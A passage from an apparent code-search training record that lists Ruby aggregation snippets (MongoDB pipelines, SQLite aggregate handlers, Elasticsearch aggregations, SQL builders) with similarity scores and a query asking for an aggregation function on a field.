!uniqueDict1[element].nil?\n newBookingToMorePrev += uniqueDict1[element]\n end\n end\n #puts \"New Booking to More Prev: #{newBookingToMorePrev}\"\n\n dormantToPrevArray = uniqueArray2 - uniqueArray1\n dormantBookingToPrev = 0.0\n dormantToPrevArray.each do |element|\n if !uniqueDict2[element].nil?\n dormantBookingToPrev += uniqueDict2[element]\n end\n end\n #puts \"Dormant Booking to Prev: #{dormantBookingToPrev}\"\n \n dormantToMorePrevArray = uniqueArray3 - uniqueArray1\n dormantBookingToMorePrev = 0.0\n dormantToMorePrevArray.each do |element|\n if !uniqueDict3[element].nil?\n dormantBookingToMorePrev += uniqueDict3[element]\n end\n end\n #puts \"Dormant Booking to More Prev: #{dormantBookingToMorePrev}\"\n\n totalAccounts = uniqueArray1.size # Total Number of accounts\n totalAccountsPrev = uniqueArray2.size # Total Last Year Accounts\n totalAccountsMorePrev = uniqueArray3.size # Total Last 3 Year Accounts\n\n totalBooking1 = 0.0\n uniqueDict1.each do |cust, booking|\n totalBooking1 += booking\n end\n\n totalBooking2 = 0.0\n uniqueDict2.each do |cust, booking|\n totalBooking2 += booking\n end\n\n totalBooking3 = 0.0\n uniqueDict3.each do |cust, booking|\n totalBooking3 += booking\n end\n\n newAccountsToPrev = newToPrevArray.size # New accounts compared to Last year\n newAccountsToMorePrev = newToMorePrevArray.size # New Accounts compared to last 3 years\n\n # Calculate the counts and total booking from the array\n repeatAccountsToPrev = totalAccounts - newAccountsToPrev # Repeat accounts compared to last year\n repeatBookingToPrev = totalBooking1 - newBookingToPrev # Repeat accounts' booking compared to last year\n\n repeatAccountsToMorePrev = totalAccounts - newAccountsToMorePrev # Repeat accounts compared to last 3 years\n repeatBookingToMorePrev = totalBooking1 - newBookingToMorePrev # Repeat accounts' booking compared to last 3 year\n \n dormantAccountsToPrev = dormantToPrevArray.size # Dormant accounts compared to last year\n\n dormantAccountsToMorePrev = dormantToMorePrevArray.size # Dormant accounts compared to last 3 years\n\n\n keyArray << byName \n returnObj1 = {\n :key => keyArray,\n :val => totalAccounts,\n :value => totalBooking1/THOUSAND,\n :value2 => newAccountsToPrev,\n :value3 => newBookingToPrev/THOUSAND,\n :value4 => repeatAccountsToPrev,\n :value5 => repeatBookingToPrev/THOUSAND,\n }\n returnObj2 = {\n :key => keyArray,\n :val => totalAccounts,\n :value => totalBooking2/THOUSAND,\n :value2 => newAccountsToMorePrev,\n :value3 => newBookingToMorePrev/THOUSAND,\n :value4 => repeatAccountsToMorePrev,\n :value5 => repeatBookingToMorePrev/THOUSAND,\n }\n returnObj3 = {\n :key => keyArray,\n :val => totalAccountsPrev,\n :value => totalBooking3/THOUSAND,\n :value2 => dormantAccountsToPrev,\n :value3 => dormantBookingToPrev/THOUSAND,\n :value4 => totalAccountsMorePrev,\n :value5 => dormantAccountsToMorePrev,\n :value6 => dormantBookingToMorePrev/THOUSAND,\n }\n returnObj = {\n :obj1 => returnObj1,\n :obj2 => returnObj2,\n :obj3 => returnObj3,\n }\n return returnObj\n end", "def aggregations(boolean)\n @aggregations = boolean\n @loaded = false\n self\n end", "def project(operation = nil)\n aggregation(operation) do |pipeline|\n pipeline.project(operation)\n end\n end", "def create_aggregate_handler( handler )\n type = nil\n arity = -1\n\n type = handler.function_type if handler.respond_to?(:function_type)\n arity = handler.arity if handler.respond_to?(:arity)\n name = handler.name\n\n case type\n when :numeric\n type = SQLite::API::NUMERIC\n when :text\n type = SQLite::API::TEXT\n when :args\n type = SQLite::API::ARGS\n end\n\n step = proc do |func,*args|\n ctx = SQLite::API.aggregate_context( func )\n ctx[ :handler ] ||= handler.new\n ctx[ :handler ].step( FunctionProxy.new( func, ctx ), *args )\n end\n\n finalize = proc do |func|\n ctx = SQLite::API.aggregate_context( func )\n ctx[ :handler ] ||= handler.new\n begin\n ctx[ :handler ].finalize( FunctionProxy.new( func, ctx ) )\n rescue Exception => e\n STDERR.puts \"BUG: #{e.message} (#{e.class.name})\"\n STDERR.puts \"*** WARNING **** WARNING **** WARNING **** WARNING ****\"\n STDERR.puts \"*** THIS EXCEPTION SHOULD BE FATAL, BUT DUE TO\"\n STDERR.puts \"*** FRAGILITY IN THE FINALIZE CALLBACK IT WILL NOT\"\n STDERR.puts \"*** ABORT THE PROGRAM. PLEASE NOTIFY THE DEVELOPER OF\"\n STDERR.puts \"*** THIS APPLICATION AND ASK THEM TO CORRECT THE\"\n STDERR.puts \"*** PROBLEM.\"\n STDERR.puts \"*** WARNING **** WARNING **** WARNING **** WARNING ****\"\n STDERR.puts e.backtrace.join( \"\\n\" )\n end\n end\n\n SQLite::API.create_aggregate( @handle, name, arity, step, finalize )\n SQLite::API.function_type( @handle, name, type ) if type\n\n self\n end", "def initial_late_aggregatees\n {}\n end", "def aggrPyFull(aggr)\n case aggr\n when DataMetaDom::Field::LIST\n 'List'\n when DataMetaDom::Field::SET\n 'Set'\n when DataMetaDom::Field::DEQUE\n 'Deque' # note this is different from Java\n else\n raise ArgumentError, \"Aggregate type #{aggr} not supported for Python serialization\"\n end\n end", "def date_range_agg(field:, range:, &block)\r\n agg = { agg: { date_range: { field: field, ranges: [ range ] }}}\r\n base_agg(agg, block)\r\n end", "def aggregate!(ts = Time.now.floor)\n unless self.ancestors.include?MongoMapper::Document\n raise NoMethodError, 'aggregate! not defined for this counter'\n end\n\n aggr = aggregate(ts)\n sum = aggregate_sum(aggr)\n aggr.each do |_ts, counterVals|\n counterVals.each do |obj, count|\n counter = self.new\n counter.enterprise_id = obj.enterprise.id\n counter.uid = obj.unique_id\n counter.count = count\n counter.type = Octo::Counter::TYPE_MINUTE\n counter.ts = _ts\n totalCount = sum[_ts][obj.enterprise_id.to_s].to_f\n counter.obp = (count * 1.0)/totalCount\n\n baseline_value = get_baseline_value(:TYPE_MINUTE, obj)\n counter.divergence = kl_divergence(counter.obp,\n baseline_value)\n counter.save!\n end\n end\n call_completion_hook(Octo::Counter::TYPE_MINUTE, ts)\n end", "def groupby_standardcost\n { 'std_cost' => { '$sum' => '$standard_cost' } } \n end", "def aggregate_f(*args)\n aggregate_function.f(*args)\n end", "def run_aggregation\n GRADES.each_with_index do |grade, idx|\n classifier[grade].each_pair do |metric, values|\n all_values = values\n all_values += classifier[GRADES[idx + 1]][metric] if (idx + 1) < GRADES.count\n\n classifier[grade][metric] =\n if all_values.count <= 2\n values.max || 0\n else\n (all_values.sum / all_values.count).round(2)\n end\n end\n end\n end", "def initialize\n @bool = Bool.new\n @aggregations = {}\n end", "def store_aggregates\n raise NotImplementedError\n end", "def load\n fail AggregateNotFound if prohibit_new && new_aggregate?\n\n AggregateProxy.new(aggregate)\n end", "def edge_aggregate aggregating_role_name:, composite_role_name:\n # this edge can only be created for ClusterRoles\n aggregating_role_label = make_label :ClusterRole, aggregating_role_name\n composite_role_label = make_label :ClusterRole, composite_role_name\n\n add_relation aggregating_role_label, :AGGREGATE, composite_role_label, '->'\n end", "def aggregateData(aggregator)\n @timeStamps = aggregator.aggregate(@timeStamps, ChartDirector::AggregateFirst)\n @highData = aggregator.aggregate(@highData, ChartDirector::AggregateMax)\n @lowData = aggregator.aggregate(@lowData, ChartDirector::AggregateMin)\n @openData = aggregator.aggregate(@openData, ChartDirector::AggregateFirst)\n @closeData = aggregator.aggregate(@closeData, ChartDirector::AggregateLast)\n @volData = aggregator.aggregate(@volData, ChartDirector::AggregateSum)\n end", "def set_event_agg\n @event_agg = EventAgg.find(params[:id])\n end", "def aggregate(source, options={})\n return send_message(SkyDB::Message::Lua::Aggregate.new(source, options))\n end", "def pipeline(field)\n db_field = \"$#{database_field_name(field)}\"\n sort, skip, limit = criteria.options.values_at(:sort, :skip, :limit)\n\n pipeline = []\n pipeline << { \"$match\" => criteria.exists(field => true).selector }\n pipeline << { \"$sort\" => sort } if sort && (skip || limit)\n pipeline << { \"$skip\" => skip } if skip\n pipeline << { \"$limit\" => limit } if limit\n pipeline << {\n \"$group\" => {\n \"_id\" => field.to_s,\n \"count\" => { \"$sum\" => 1 },\n \"max\" => { \"$max\" => db_field },\n \"min\" => { \"$min\" => db_field },\n \"sum\" => { \"$sum\" => db_field },\n \"avg\" => { \"$avg\" => db_field }\n }\n }\n end", "def terms_agg(field:, size: 100, order_field: '_count', order_dir: 'desc', min_doc_count: 1, &block)\r\n agg = { agg: { terms: { field: field, size: size, min_doc_count: min_doc_count, order: { order_field => order_dir } } } }\r\n base_agg(agg, block)\r\n end", "def initialize(aggregate)\n @_aggregate = aggregate\n @_dirty_events = []\n end", "def aggregated_over_time_query\n # TODO Remember to implement permitted parameters here\n query = @grouping_class.new(sanitized_attributes, params)\n @aggregated_over_time_data = Rails.cache.fetch(['aggregated_over_time_data', params], expires_in: 1.week) do\n query.aggregated_over_time_data\n end\n\n render json: @aggregated_over_time_data\n end", "def aggregate!(ts = Time.now.floor)\n unless self.ancestors.include?MongoMapper::Document\n raise NoMethodError, \"aggregate! not defined for this counter\"\n end\n\n aggr = aggregate(ts)\n aggr.each do |_ts, counterVals|\n counterVals.each do |obj, count|\n args = gen_args_for_instance obj, count, _ts, TYPE_MINUTE\n counter = self.new args\n counter.save!\n end\n end\n call_completion_hook(TYPE_MINUTE, ts)\n end", "def build_aggregate_sql(column_mask)\n dimension_column_names = dimensions_to_columns.collect do |c|\n \"#{c.table_alias}.#{c.name}\"\n end\n\n sql = <<-SQL\n SELECT\n #{mask_columns_with_null(dimension_column_names, column_mask).join(\",\")},\n #{aggregated_fact_column_sql}\n FROM #{tables_and_joins}\n SQL\n\n group = mask_columns_with_null(dimension_column_names, column_mask).reject{|o| o == 'null'}.join(\",\")\n sql += \"GROUP BY #{group}\" if !group.empty?\n sql\n end", "def sum_aggregation( node, normalized )\n aggregation = Hash.new\n normalized.keys.each do |entity|\n sum = 0\n node['children'].each do |child|\n entity_hash = normalized[entity]\n if entity_hash.nil?\n entity_hash = Hash.new\n end\n sum += entity_hash[child['id']]\n end\n aggregation[entity] = sum\n end\n aggregation\n end", "def use_aggregate_factory(aggregate_factory)\n @aggregate_factory = aggregate_factory\n end", "def group_builder; end", "def create\n @aggregate = Aggregate.new(params[:aggregate])\n\n respond_to do |format|\n if @aggregate.save\n format.html { redirect_to(@aggregate, :notice => 'Aggregate was successfully created.') }\n format.xml { render :xml => @aggregate, :status => :created, :location => @aggregate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aggregate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def tags_aggregation_collection\n @tags_aggregation_collection ||= \"#{collection_name}_tags_aggregation\"\n end", "def aggregate(term = \"COUNT(*)\", options = {})\n # Leave this .dup here, causes problems because options are changed\n options = options.dup\n\n klass = options[:class]\n\n # Rename search term, SQL92 but _not_ SQL89 compatible\n options = {\n :select => \"#{term} AS #{term[/^\\w+/]}\"\n }.update(options)\n\n unless options[:group] || options[:group_by]\n options.delete(:order)\n options.delete(:order_by)\n end\n sql = resolve_options(klass, options)\n\n if field = options[:field]\n return_type = klass.ann(field, :class) || Integer\n else\n return_type = Integer\n end\n\n if options[:group] || options[:group_by]\n # This is an aggregation, so return the calculated values\n # as an array.\n values = []\n res = query(sql)\n res.each_row do |row, idx|\n values << type_cast(return_type, row[0])\n end\n return values\n else\n return type_cast(return_type, query(sql).first_value)\n end\n end", "def post_process(aggregate)\n aggregate\n end", "def new_input_set()\n return AdGroupStatsInputSet.new()\n end", "def build_arel\n arel = super\n collapse_filters(arel, (filter_values).uniq)\n arel.projections << @values[:spellcheck] if @values[:spellcheck]\n arel.projections << @values[:highlight] if @values[:highlight]\n arel.projections += facet_values\n arel.from arel.create_table_alias(arel.source.left, as_value) if as_value\n arel\n end", "def store_aggregate(aggregate)\n type = aggregate.class.to_s\n identity_map[type] ||= {}\n identity_map[type][aggregate.id] = aggregate\n\n self\n end", "def aggregate(type, ts)\n Octo::Enterprise.each do |enterprise|\n aggregate_baseline enterprise.id, type, ts\n end\n end", "def reflect_on_aggregation(aggregation)\n aggregate_reflections[aggregation.to_s]\n end", "def aggregated_over_time_query\n quantity_field = @country_ids.present? ? \"#{entity_quantity}_reported_quantity\" : \"#{@reported_by}_reported_quantity\"\n\n <<-SQL\n SELECT ROW_TO_JSON(row)\n FROM (\n SELECT JSON_AGG(JSON_BUILD_OBJECT('x', year, 'y', value) ORDER BY year) AS datapoints\n FROM (\n SELECT year, ROUND(SUM(#{quantity_field}::FLOAT)) AS value\n FROM #{shipments_table}\n #{child_taxa_join}\n WHERE #{@condition} AND #{quantity_field} IS NOT NULL AND #{country_condition}\n AND #{child_taxa_condition}\n GROUP BY year\n #{quantity_condition(quantity_field)}\n ORDER BY value DESC\n #{limit}\n ) t\n ) row\n SQL\n end", "def group_with_builtin(coll)\n puts \"Grouping by 'Make' (built-in)\"\n coll.group({\n :key => [:Make],\n :initial => {:crashes => 0},\n :reduce => 'function(doc, prev) {prev.crashes += 1;}'\n })\nend", "def aggregations\n response['aggregations'] ? Hashie::Mash.new(response['aggregations']) : nil\n end", "def aggregate\n data_hash = MediaSourceSerializer.new(\n available_sources, is_collection: true\n ).aggregated_hash\n\n unless params_valid?\n data_hash[:errors] = 'One or more specified MediaSources do not exist'\n end\n\n render json: data_hash.to_json\n end", "def add_with(aggregate_error = nil)\n aggregate_error || self\n end", "def valid_attributes\n { :name => \"My Report\", :query => {\"match_all\" => { }}, :aggregations => [{\"name\" => \"aggregation1\", \"type\" => \"terms\" ,\"query\" => { :field => \"value1\"}}]}\n end", "def persist_aggregate\n raise NotImplementedError\n end", "def aggregate\n counts = {}\n group.each_pair { |key, value| counts[key] = value.size }\n counts\n end", "def groupby_bookingnet\n { 'booking_net' => { '$sum' => '$booking_net' } } \n end", "def get_aggregate aggregate_query\n ensure_not_closed!\n ensure_service!\n\n return enum_for :get_aggregate, aggregate_query unless block_given?\n\n results = service.run_aggregate_query aggregate_query.parent_path,\n aggregate_query.to_grpc,\n transaction: transaction_or_create\n results.each do |result|\n extract_transaction_from_result! result\n next if result.result.nil?\n yield AggregateQuerySnapshot.from_run_aggregate_query_response result\n end\n end", "def keyValuePairByAggQryTechPenetration(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n uniqueArray = []; techCount = 0; booking = 0\n aggregateCursor.each do |doc|\n techCount += 1\n uniqueArray << doc[:_id][:customers]\n end\n uniqueArray = uniqueArray.uniq\n keyArray << 'techPenetration'; valueArray << ScalarCalculators.calculateRatio(techCount, uniqueArray.size).to_f\n\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end" ]
[ "0.76560813", "0.7485018", "0.71006894", "0.66628075", "0.66010576", "0.6544162", "0.6508941", "0.6495526", "0.6376776", "0.63476384", "0.6163588", "0.6055582", "0.6030893", "0.601845", "0.60101026", "0.5963537", "0.58111006", "0.57919693", "0.5775365", "0.5760049", "0.5754194", "0.57419026", "0.5716558", "0.5708389", "0.5682302", "0.5666005", "0.5595673", "0.5558934", "0.5523853", "0.55191696", "0.55041575", "0.5489019", "0.5468408", "0.54416144", "0.5431717", "0.54206073", "0.5409488", "0.54011905", "0.53881484", "0.5382733", "0.5371478", "0.5332988", "0.5316287", "0.530448", "0.5295245", "0.5294563", "0.5286713", "0.52553725", "0.5240972", "0.5238697", "0.523834", "0.52214026", "0.5205018", "0.5198018", "0.51927805", "0.5190213", "0.51803696", "0.517948", "0.51766646", "0.5173615", "0.5172237", "0.5143156", "0.51334816", "0.5126338", "0.51241916", "0.511032", "0.5100389", "0.5098991", "0.50911075", "0.5090555", "0.5089183", "0.5085475", "0.50850785", "0.50795573", "0.5022034", "0.5021628", "0.5008853", "0.500418", "0.5003639", "0.50015366", "0.4999677", "0.49945676", "0.49943027", "0.4984505", "0.4979027", "0.49635795", "0.4960335", "0.49578044", "0.4956478", "0.4956176", "0.49552014", "0.494899", "0.49368584", "0.49236917", "0.49166384", "0.4912696", "0.49021244", "0.49018785", "0.49018607", "0.48922247", "0.48827046" ]
0.0
-1
Construct a aggregation function for a field
def initialize(aggregation_path) @aggregation_path = aggregation_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aggregate\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :count => 0 },\n :reduce => Javascript.aggregate\n )\n end", "def filter_agg(field:, value:, &block)\r\n agg = { agg: { filter: { term: { field => value } } } }\r\n base_agg(agg, block)\r\n end", "def aggregate_function\n build_function(super, aggregate_constants)\n end", "def aggregation(*args, &block)\n @aggregations ||= AggregationsCollection.new\n @aggregations.update args.first => Aggregation.new(*args, &block)\n self\n end", "def aggregate_f(*args)\n aggregate_function.f(*args)\n end", "def pipeline(field)\n db_field = \"$#{database_field_name(field)}\"\n sort, skip, limit = criteria.options.values_at(:sort, :skip, :limit)\n\n pipeline = []\n pipeline << { \"$match\" => criteria.exists(field => true).selector }\n pipeline << { \"$sort\" => sort } if sort && (skip || limit)\n pipeline << { \"$skip\" => skip } if skip\n pipeline << { \"$limit\" => limit } if limit\n pipeline << {\n \"$group\" => {\n \"_id\" => field.to_s,\n \"count\" => { \"$sum\" => 1 },\n \"max\" => { \"$max\" => db_field },\n \"min\" => { \"$min\" => db_field },\n \"sum\" => { \"$sum\" => db_field },\n \"avg\" => { \"$avg\" => db_field }\n }\n }\n end", "def sum(field)\n grouped(:sum, field.to_s, Javascript.sum)\n end", "def terms_agg(field:, size: 100, order_field: '_count', order_dir: 'desc', min_doc_count: 1, &block)\r\n agg = { agg: { terms: { field: field, size: size, min_doc_count: min_doc_count, order: { order_field => order_dir } } } }\r\n base_agg(agg, block)\r\n end", "def new_aggregate(type,name, value)\n Models::Aggregate.new(\n :type => type,\n :parent_name => assessment_group.display_name,\n :parent_type => 'AssessmentGroup',\n :name => name,\n :value => value\n )\n end", "def aggregation(operation)\n return self unless operation\n clone.tap do |query|\n unless aggregating?\n query.pipeline.concat(query.selector.to_pipeline)\n query.pipeline.concat(query.options.to_pipeline)\n query.aggregating = true\n end\n yield(query.pipeline)\n end\n end", "def aggregate op, type = :fixnum\n check_closed\n\n aggregation_impl op, type\n end", "def aggregate_tags!\n map = \"function() {\n if (!this.#{tags_field}) {\n return;\n }\n\n for (index in this.#{tags_field}) {\n emit(this.#{tags_field}[index], 1);\n }\n }\"\n\n reduce = \"function(previous, current) {\n var count = 0;\n\n for (index in current) {\n count += current[index]\n }\n\n return count;\n }\"\n\n map_reduce_options = { :out => tags_aggregation_collection }.\n merge(tag_aggregation_options)\n collection.master.map_reduce(map, reduce, map_reduce_options)\n end", "def date_range_agg(field:, range:, &block)\r\n agg = { agg: { date_range: { field: field, ranges: [ range ] }}}\r\n base_agg(agg, block)\r\n end", "def aggregate name, o, collector\n collector << \"#{name}(\"\n if o.distinct\n collector << \"DISTINCT \"\n end\n collector = inject_join(o.expressions, Arel::Collectors::Sunstone.new, \", \")# << \")\"\n if o.alias\n collector << \" AS \"\n visit o.alias, collector\n else\n collector\n end\n end", "def avg(field)\n aggregates(field)[\"avg\"]\n end", "def aggregate(value)\n @query_hash[AGGREGATE][value] = value\n self\n end", "def sum(field = nil)\n block_given? ? super() : aggregates(field)[\"sum\"] || 0\n end", "def add_aggregations\n add_collection_aggregation\n add_tag_aggregations\n end", "def calculate_function(function)\n raise \"invalid function '#{function}'\" unless [:sum, :avg, :min, :max, :count].include?(function.to_sym)\n Sequel::SQL::Function.new(function.to_sym, :value)\n end", "def max(field)\n grouped(:max, field.to_s, Javascript.max)\n end", "def aggrPyFull(aggr)\n case aggr\n when DataMetaDom::Field::LIST\n 'List'\n when DataMetaDom::Field::SET\n 'Set'\n when DataMetaDom::Field::DEQUE\n 'Deque' # note this is different from Java\n else\n raise ArgumentError, \"Aggregate type #{aggr} not supported for Python serialization\"\n end\n end", "def max(field = nil)\n block_given? ? super() : aggregates(field)[\"max\"]\n end", "def _ field\n as_name = [name, field].join(\"_\").to_sym\n AS[\"#{relationize}.(#{field})\", as_name, Bag.new([field, field_type(field)]), nil, :skip_type]\n end", "def aggregator(agg = nil, opts = EMPTY_HASH)\n @aggregator = if agg.nil? && !defined?(@aggregator)\n Aggregators.default\n elsif agg.respond_to?(:new)\n agg.new(filter: filter, **opts)\n elsif agg\n Aggregators.resolve(agg, filter: filter, **opts)\n else\n @aggregator\n end\n end", "def apply(_aggregate)\n raise NotImplementedError\n end", "def aggregate(term = \"COUNT(*)\", options = {})\n # Leave this .dup here, causes problems because options are changed\n options = options.dup\n\n klass = options[:class]\n\n # Rename search term, SQL92 but _not_ SQL89 compatible\n options = {\n :select => \"#{term} AS #{term[/^\\w+/]}\"\n }.update(options)\n\n unless options[:group] || options[:group_by]\n options.delete(:order)\n options.delete(:order_by)\n end\n sql = resolve_options(klass, options)\n\n if field = options[:field]\n return_type = klass.ann(field, :class) || Integer\n else\n return_type = Integer\n end\n\n if options[:group] || options[:group_by]\n # This is an aggregation, so return the calculated values\n # as an array.\n values = []\n res = query(sql)\n res.each_row do |row, idx|\n values << type_cast(return_type, row[0])\n end\n return values\n else\n return type_cast(return_type, query(sql).first_value)\n end\n end", "def sum(field)\n sum = documents.inject(nil) do |memo, doc|\n value = doc.send(field)\n memo ? memo += value : value\n end\n end", "def aggregate_options(field, calculated_options, aggregate_parameters)\n applied_options = filter_values_for_field(field)\n\n all_options = calculated_options.map { |option|\n [option[\"key\"], option[\"doc_count\"]]\n } + applied_options.map do |term|\n [term, 0]\n end\n\n unique_options = all_options.uniq do |term, _count|\n term\n end\n\n option_objects = unique_options.map do |term, count|\n make_aggregate_option(\n field,\n term,\n count,\n applied_options.include?(term),\n aggregate_parameters[:order],\n )\n end\n\n top_aggregate_options(option_objects, aggregate_parameters[:requested])\n end", "def group_by_exp(input, variable, expression); end", "def apply(aggregate)\n raise NotImplementedError\n end", "def get_form_summarize_methods\n [\n [\"count\"],\n [\"sum\"],\n [\"maximum\"],\n [\"minimum\"]\n ]\n end", "def aggregate\n public_send aggregate_name\n end", "def add_group_by(field)\n @group_by.push(field)\n end", "def sum col_name,field2sum,*fields, &block\n key = key_fields [field2sum] + fields\n @stats[key] = [] unless @stats[key]\n @stats[key] << SumField.new(col_name,block)\n end", "def score_aggregate_node( node, normalized, z_score = true )\n aggregation = Hash.new\n case node['operation']\n when 'SUM'\n aggregation = sum_aggregation( node, normalized )\n when 'DIVIDE'\n aggregation = divide_aggregation( node, normalized )\n when 'DIFFERENCE'\n aggregation = subtract_aggregation( node, normalized )\n when 'MULTIPLY'\n aggregation = multiply_aggregation( node, normalized )\n end\n if z_score\n z_scores = z_score(aggregation)\n normalized.keys.each do |key|\n normalized[key][node['id']] = node['weight'] * z_scores[key]\n end\n normalized\n else\n aggregation\n end\n end", "def min(field = nil)\n block_given? ? super() : aggregates(field)[\"min\"]\n end", "def aggregated_fact_column_sql\n aggregate_fields.collect { |c| \n \"#{c.strategy_name}(#{c.from_table_name}.#{c.name}) AS #{c.label_for_table}\"\n }.join(\",\")\n end", "def aggregations\n @aggregations ||= AggregationSet.new\n end", "def summarize_field(records, field)\n extracted = Hash.new(0)\n records.each do |record|\n begin\n value = field.split(\".\").inject(record) { |hash, key| hash[key] }\n rescue\n value = 'no such field'\n end\n extracted[value] += 1\n end\n return extracted\nend", "def build_aggregate_sql(column_mask)\n dimension_column_names = dimensions_to_columns.collect do |c|\n \"#{c.table_alias}.#{c.name}\"\n end\n\n sql = <<-SQL\n SELECT\n #{mask_columns_with_null(dimension_column_names, column_mask).join(\",\")},\n #{aggregated_fact_column_sql}\n FROM #{tables_and_joins}\n SQL\n\n group = mask_columns_with_null(dimension_column_names, column_mask).reject{|o| o == 'null'}.join(\",\")\n sql += \"GROUP BY #{group}\" if !group.empty?\n sql\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def build_custom_calculated_field(column_name)\n return unless @custom_fields2.key?(column_name)\n\n @custom_fields2[column_name] => {arel:, type:}\n\n if arel.nil?\n raise CustomErrors::FilterArgumentError,\n \"Custom field #{column_name} is not supported for filtering or ordering\"\n end\n raise NotImplementedError, \"Custom field #{column_name} does not specify it's type\" if type.nil?\n\n { type:, arel: }\n end", "def reduce_function\n 'function (key, values) { return reduce(key, values);};'\n end", "def each_aggregate(&block)\n if block_given?\n @aggregates.each_function(&block)\n self\n else\n @aggregates.functions\n end\n end", "def call_field(field)\n field.to_s.split('__').inject(self) { |a, e| a.send(e) unless a.nil? }\n end", "def visit_axiom_aggregate_sum(sum)\n aggregate_function_sql(SUM, sum)\n end", "def arel_field\n case param.field.options[:transmogrification]\n when :timestamp_to_hours\n Arel::Nodes::NamedFunction.new('TIMESTAMPDIFF', [Arel::Nodes::SqlLiteral.new('HOUR'), arel_table[field], Arel::Nodes::SqlLiteral.new('UTC_TIMESTAMP()')])\n when :timestamp_to_days\n Arel::Nodes::NamedFunction.new('TIMESTAMPDIFF', [Arel::Nodes::SqlLiteral.new('DAY'), arel_table[field], Arel::Nodes::SqlLiteral.new('UTC_TIMESTAMP()')])\n when :sum\n Arel::Nodes::NamedFunction.new('SUM', [arel_table[field]])\n when :upper\n Arel::Nodes::NamedFunction.new('UPPER', [arel_table[field]])\n when :lower\n Arel::Nodes::NamedFunction.new('LOWER', [arel_table[field]])\n else\n arel_table[field]\n end\n end", "def create_aggregate( name, arity, step, finalize, type=nil )\n case type\n when :numeric\n type = SQLite::API::NUMERIC\n when :text\n type = SQLite::API::TEXT\n when :args\n type = SQLite::API::ARGS\n end\n\n step_callback = proc do |func,*args|\n ctx = SQLite::API.aggregate_context( func )\n step.call( FunctionProxy.new( func, ctx ), *args )\n end\n\n finalize_callback = proc do |func|\n ctx = SQLite::API.aggregate_context( func )\n finalize.call( FunctionProxy.new( func, ctx ) )\n end\n\n SQLite::API.create_aggregate( @handle, name, arity,\n step_callback, finalize_callback )\n\n SQLite::API.function_type( @handle, name, type ) if type\n\n self\n end", "def extract_values(records, field)\n summarize_field(records, field).keys\nend", "def group_with_builtin(coll)\n puts \"Grouping by 'Make' (built-in)\"\n coll.group({\n :key => [:Make],\n :initial => {:crashes => 0},\n :reduce => 'function(doc, prev) {prev.crashes += 1;}'\n })\nend", "def aggregate(property, resolution)\n # Look up the date/time dimensions for the resolution.\n date_time_dimensions = date_time_dimensions_for_resolution(resolution)\n\n # Build the timestamp from the date/time dimensions.\n timestamp = Sequel::SQL::NumericExpression.new(:+, *date_time_dimensions).cast(:timestamp).as(:timestamp)\n\n # Build a window function to sum the counts.\n count_window_function = Sequel::SQL::Function.new(:sum, :count).over(partition: date_time_dimensions).as(:count)\n\n # Build the aggregation window functions.\n aggregation_window_functions = AGGREGATIONS.map do |aggregation|\n Sequel::SQL::Function.new(aggregation, :\"#{property}\").over(partition: date_time_dimensions).as(:\"#{aggregation}_#{property}\")\n end\n\n facts_dataset\n .join(:dimension_dates, date: Sequel.cast(:timestamp, :date))\n .join(:dimension_times, time: Sequel.cast(:timestamp, :time))\n .distinct(*date_time_dimensions)\n .select(timestamp, count_window_function, *aggregation_window_functions)\n end", "def aggregate(request)\n end", "def proc_query(field); end", "def sum(field, opts={})\n opts = ::Hashie::Mash.new(opts)\n all(opts).inject(0){|sum, item| (item.send(field) || 0) + sum }\n end", "def sum_field_by_time_range(field, time_f)\n self.workout_records.select{ |r| time_f.call(r) }.map{ |r| r.send(field).to_f }.sum\n end", "def aggregate(nodes, relation, aggregate_function, restriction = [])\n if nodes.empty?\n return []\n end\n if relation.nil?\n raise MissingRelationException\n end\n items = nodes.map{|node| node.item}\n values_stmt = \"VALUES ?s {#{items.map{|item| \"<\" + Xplain::Namespace.expand_uri(item.id) + \">\"}.join(\" \")}}\"\n query_stmt = \"SELECT ?s (#{aggregate_function}(?o) as ?o) where{#{values_stmt} #{path_clause(relation)} #{values_clause(\"?o\", restriction)} #{path_clause_as_subselect(relation, values_stmt, \"?s\", limit, offset)}. }\"\n query_stmt << \" GROUP BY ?s\"\n get_results(query_stmt, relation)\n end", "def agg_count\n @agg_count ||= count_unique_related @role_aggregate.agg_fieldname\n end", "def group\n field = options[:fields].first\n documents.group_by { |doc| doc.send(field) }\n end", "def aggregate_after_grouping?; @aggregate_after_grouping; end", "def aggregate(array, type = 'normal')\n raise \"Need Array not #{array.class}\" unless array.class == Array\n raise 'Two Arrays are not the same size' unless size == array.size\n\n case type\n when 'normal'\n return aggregate_normal(array)\n when 'max'\n return aggregate_max(array)\n when 'min'\n return aggregate_min(array)\n when 'avg'\n return aggregate_avg(array)\n when 'median'\n return aggregate_median(array)\n end\n end", "def avg(field)\n total = sum(field)\n total ? (total / count) : nil\n end", "def apply_functions(fun, series)\n expr = CGI::unescape(fun)\n\n # pass values needed for hitting Cassandra in\n control = { :cass_client => cass_client }\n control[:start_ts], control[:end_ts] = get_start_end :one_day\n\n Hastur::Aggregation.evaluate(expr, series, control)\n end", "def aggregate_fields\n cube_class.aggregate_fields\n end", "def aggregate\n []\n end", "def collect_operations(ops, aggregator = {})\n ops.each_with_object(aggregator) do |(field, value), operations|\n operations[database_field_name(field)] = value.mongoize\n end\n end", "def field_base\n @field_base 